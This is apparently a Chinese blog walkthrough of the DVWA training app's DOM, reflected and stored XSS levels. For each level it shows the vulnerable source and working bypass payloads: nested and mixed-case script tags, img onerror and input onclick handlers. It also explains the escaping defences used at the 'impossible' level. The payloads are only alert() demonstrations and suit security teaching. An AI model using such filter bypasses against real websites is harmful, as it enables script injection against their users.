DVWA靶场-XSS(DOM型、反射型、存储型)

往期博文:

DVWA靶场-Brute Force Source 暴力破解

DVWA靶场-Command Injection 命令注入

DVWA靶场-CSRF 跨站请求伪造

DVWA靶场-File Inclusion 文件包含

DVWA靶场-File Upload 文件上传

DVWA靶场-SQL Injection SQL注入

DVWA靶场-Weak Session IDs 脆弱的Session

靶场环境搭建

https://github.com/ethicalhack3r/DVWA

[网络安全学习篇附]:DVWA 靶场搭建

目录

 

DOM XSS DOM型XSS

LOW DOM XSS

核心代码:

Medium DOM XSS

核心代码:

绕过方法:

High DOM XSS

核心代码:

绕过方式

Impossible DOM XSS

核心代码:

Reflected XSS 反射型XSS

Low Reflected XSS

核心代码

Medium Reflected XSS

核心代码

绕过方法

High Reflected XSS

核心代码

Impossible Reflected XSS

核心代码

Stored XSS 存储型XSS

Low Stored XSS

核心代码

trim

stripslashes

mysql_real_escape_string

Medium Stored XSS

核心代码

addslashes

strip_tags

htmlspecialchars

绕过方法

High Stored XSS

核心代码

Impossible Stored XSS

核心代码


DOM XSS DOM型XSS

LOW DOM XSS

核心代码:

<div class="vulnerable_code_area">



                 <p>Please choose a language:</p>



<form name="XSS" method="GET">

<select name="default">

<script>

if (document.location.href.indexOf("default=") >= 0) {

var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);

document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");

document.write("<option value='' disabled='disabled'>----</option>");

}

document.write("<option value='English'>English</option>");

document.write("<option value='French'>French</option>");

document.write("<option value='Spanish'>Spanish</option>");

document.write("<option value='German'>German</option>");

</script><option value="English">English</option><option value="French">French</option><option value="Spanish">Spanish</option><option value="German">German</option>

</select>

<input type="submit" value="Select">

</form>

</div>

DOM XSS 是通过修改页面的DOM 节点,会通过select 按钮创建新的DOM节点

document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");

document.write("<option value='' disabled='disabled'>----</option>");

这里的lang 变量没有进行任何过滤,就解码输出在option 标签中,直接攻击

?default=<script>alert(/XSS/)</script>

 

Medium DOM XSS

核心代码:

<?php 

// Is there any input?

if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

    $default = $_GET['default'];

    # Do not allow script tags

    if (stripos ($default, "<script") !== false) {

        header ("location: ?default=English");

        exit;

    }

} 

?>

这段代码会过滤default 提交参数中的”<script“ 字符串,stripos() 函数会匹配提交的参数中第一次出现”<script“,如果出现了,就会手动通过location 将URL 后面的参数修改为?default=English

绕过方法:

1、img标签

首先将option标签和select 标签闭合,

?default=English</option></select><img src=xx οnerrοr=alert(/XSS/)>

2、利用input 标签

?default=English<input οnclick=alert(/XSS/)>

 

High DOM XSS

核心代码:

<?php 

// Is there any input?

if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) { 

    # White list the allowable languages

    switch ($_GET['default']) {

        case "French":

        case "English":

        case "German":

        case "Spanish":

            # ok

            break;

        default:

            header ("location: ?default=English");

            exit;

    }

} 

?>

 这里使用白名单过滤规则,凡是不在白名单中的,强制修改其为English

绕过方式

1、&

?default=English&</option></select><img src=xx οnerrοr=alert(/XSS/)>

?default=English&<input οnclick=alert(/XSS/)>

2、#

?default=English#</option></select><img src=xx οnerrοr=alert(/XSS/)>

?default=English#<input οnclick=alert(/XSS/)>

 

Impossible DOM XSS

核心代码:

<div class="vulnerable_code_area">

                 <p>Please choose a language:</p>

<form name="XSS" method="GET">

<select name="default">

<script>

if (document.location.href.indexOf("default=") >= 0) {

var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);

document.write("<option value='" + lang + "'>" + (lang) + "</option>");

document.write("<option value='' disabled='disabled'>----</option>");

}  

document.write("<option value='English'>English</option>");

document.write("<option value='French'>French</option>");

document.write("<option value='Spanish'>Spanish</option>");

document.write("<option value='German'>German</option>");

</script><option value="English">English</option><option value="French">French</option><option value="Spanish">Spanish</option><option value="German">German</option>

</select>

<input type="submit" value="Select">

</form>

</div>

分析代码可知,impossible 没有对输入的参数进行URL解码,这样自然就导致无法XSS

document.write("<option value='" + lang + "'>" + (lang) + "</option>");

document.write("<option value='' disabled='disabled'>----</option>");

 

Reflected XSS 反射型XSS

Low Reflected XSS

核心代码

<?php 

header ("X-XSS-Protection: 0"); 

// Is there any input?

if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {

    // Feedback for end user

    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';

} 

?>

可以看出没有对变量name 的输入做任何的过滤,直接攻击

<script>alert(/XSS/)</script>

 

Medium Reflected XSS

核心代码

<?php 

header ("X-XSS-Protection: 0"); 

// Is there any input?

if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {

    // Get input

    $name = str_replace( '<script>', '', $_GET[ 'name' ] ); 

    // Feedback for end user

    echo "<pre>Hello ${name}</pre>";

} 

?>

这里使用str_replace() 函数对name 变量中的敏感字符<script>进行过滤,使用正则匹配规则,将敏感字符使用' '替换。

绕过方法

1、嵌套

<sc<script>ript>alert(/XSS/)</script>

2、大小写

<Script>alert(/XSS/)</script>

3、尝试使用其他标签

<input οnclick=alert(/XSS/)>

<img src=xxx οnerrοr=alert(/XSS/)>

 

High Reflected XSS

核心代码

<?php 

header ("X-XSS-Protection: 0"); 

// Is there any input?

if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {

    // Get input

    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); 

    // Feedback for end user

    echo "<pre>Hello ${name}</pre>";

}

?>

这里对<script>标签进行了严格的过滤,我们只能使用其他的标签进行弹窗

<input οnclick=alert(/XSS/)>

<img src=xxx οnerrοr=alert(/XSS/)>

 

Impossible Reflected XSS

核心代码

<?php 

// Is there any input?

if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {

    // Check Anti-CSRF token

    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 

    // Get input

    $name = htmlspecialchars( $_GET[ 'name' ] ); 

    // Feedback for end user

    echo "<pre>Hello ${name}</pre>";

} 

// Generate Anti-CSRF token

generateSessionToken(); 

?>

impossible 级别使用htmlspecialchars()函数进行过滤,htmlspecialchars() 函数把预定义的字符转换为 HTML 实体,输入到<pre>标签中,目前没有什么好的方法进行绕过

 

Stored XSS 存储型XSS

Low Stored XSS

核心代码

<?php 

if( isset( $_POST[ 'btnSign' ] ) ) {

    // Get input

    $message = trim( $_POST[ 'mtxMessage' ] );

    $name    = trim( $_POST[ 'txtName' ] ); 

    // Sanitize message input

    $message = stripslashes( $message );

    $message = mysqli_real_escape_string($message ); 

    // Sanitize name input

    $name = mysqli_real_escape_string($name ); 

    // Update database

    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";

} 

?>

trim

trim(string,charlist)

移除string 字符两侧的预定义字符

如果charlist 参数被省略,则移除字符

\0

 null

\t

制表符

\n

换行

\x0B

垂直制表符

\r

回车

 

空格

stripslashes

stripslashes(string)

去除string 字符中的反斜杠\

mysql_real_escape_string

mysql_real_escape_string(string,connection)

转义sql 语句中使用的特殊字符,connection 参数可选,规定SQL 数据库连接,如果未规定,默认使用上一个连接的数据库

受影响的字符 \x00 \n \r \ ' " \x1a

这些函数只是对数据库进行了保护,并没有对XSS进行过滤,直接攻击

name xss

message <script>alert(/XSSLow/)</script>

 

Medium Stored XSS

核心代码

<?php 

if( isset( $_POST[ 'btnSign' ] ) ) {

    // Get input

    $message = trim( $_POST[ 'mtxMessage' ] );

    $name    = trim( $_POST[ 'txtName' ] ); 

    // Sanitize message input

    $message = strip_tags( addslashes( $message ) );

    $message = mysqli_real_escape_string($message );

    $message = htmlspecialchars( $message ); 

    // Sanitize name input

    $name = str_replace( '<script>', '', $name );

    $name = mysqli_real_escape_string($name );

    // Update database

    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; 

} 

?>

addslashes

addslashes(string)

在预定义字符前添加反斜杠

预定义字符 ' " \ NULL

strip_tags

strip_tags(string,allow)

去除字符串中的HTML、XML、PHP 的标签

allow 参数可选,规定允许这些标签

htmlspecialchars

htmlspecialchars(string,flags,character-set,double_encode)

把预定义的字符转换为HTML实体

预定义字符 & " ' < >

 

可以看到对message 变量过滤的很彻底,但是对name变量,只对其进行简单的过滤

但是我们的浏览器本地对name参数的输入的字符长度做了限制,这个简单,本地浏览器手动修改

也可以使用BP抓包,修改name参数值之后提交

 

别忘了!!!

 

绕过方法

1、嵌套

name <sc<script>ript>alert(/XSSMED1/)</script>

message XXX

2、大小写

name <Script>alert(/XSSMED2/)</script>

message XXX

3、其他标签

name <img src=xxx οnerrοr=alert(/XSSMED3/)>

message XXX

 

High Stored XSS

核心代码

<?php 

if( isset( $_POST[ 'btnSign' ] ) ) {

    // Get input

    $message = trim( $_POST[ 'mtxMessage' ] );

    $name    = trim( $_POST[ 'txtName' ] ); 

    // Sanitize message input

    $message = strip_tags( addslashes( $message ) );

    $message = mysqli_real_escape_string($message );

    $message = htmlspecialchars( $message ); 

    // Sanitize name input

    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );

    $name = mysqli_real_escape_string($name ); 

    // Update database

    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";

   } 

?>

 

分析代码,发现这里message 是没有希望了,继续看一下name,发现还有绕过的希望

name <img src=xxx οnerrοr=alert(/XSSHGH1/)>

message xxx

 

Impossible Stored XSS

核心代码

<?php 

if( isset( $_POST[ 'btnSign' ] ) ) {

    // Check Anti-CSRF token

    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 

    // Get input

    $message = trim( $_POST[ 'mtxMessage' ] );

    $name    = trim( $_POST[ 'txtName' ] ); 

    // Sanitize message input

    $message = stripslashes( $message );

    $message = mysqli_real_escape_string($message ); 

    $message = htmlspecialchars( $message ); 

    // Sanitize name input

    $name = stripslashes( $name );

    $name = mysqli_real_escape_string($name ); 

    $name = htmlspecialchars( $name ); 

    // Update database

    $data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );

    $data->bindParam( ':message', $message, PDO::PARAM_STR );

    $data->bindParam( ':name', $name, PDO::PARAM_STR );

    $data->execute();

} 

// Generate Anti-CSRF token

generateSessionToken();

?>

 message和name变量都进行了严格的过滤,而且还检测了用户的token,没得办法!


https://www.sqlsec.com/2020/05/dvwa.html#toc-heading-31

https://www.freebuf.com/articles/web/119467.html

猜你喜欢

转载自blog.csdn.net/weixin_43252204/article/details/106634431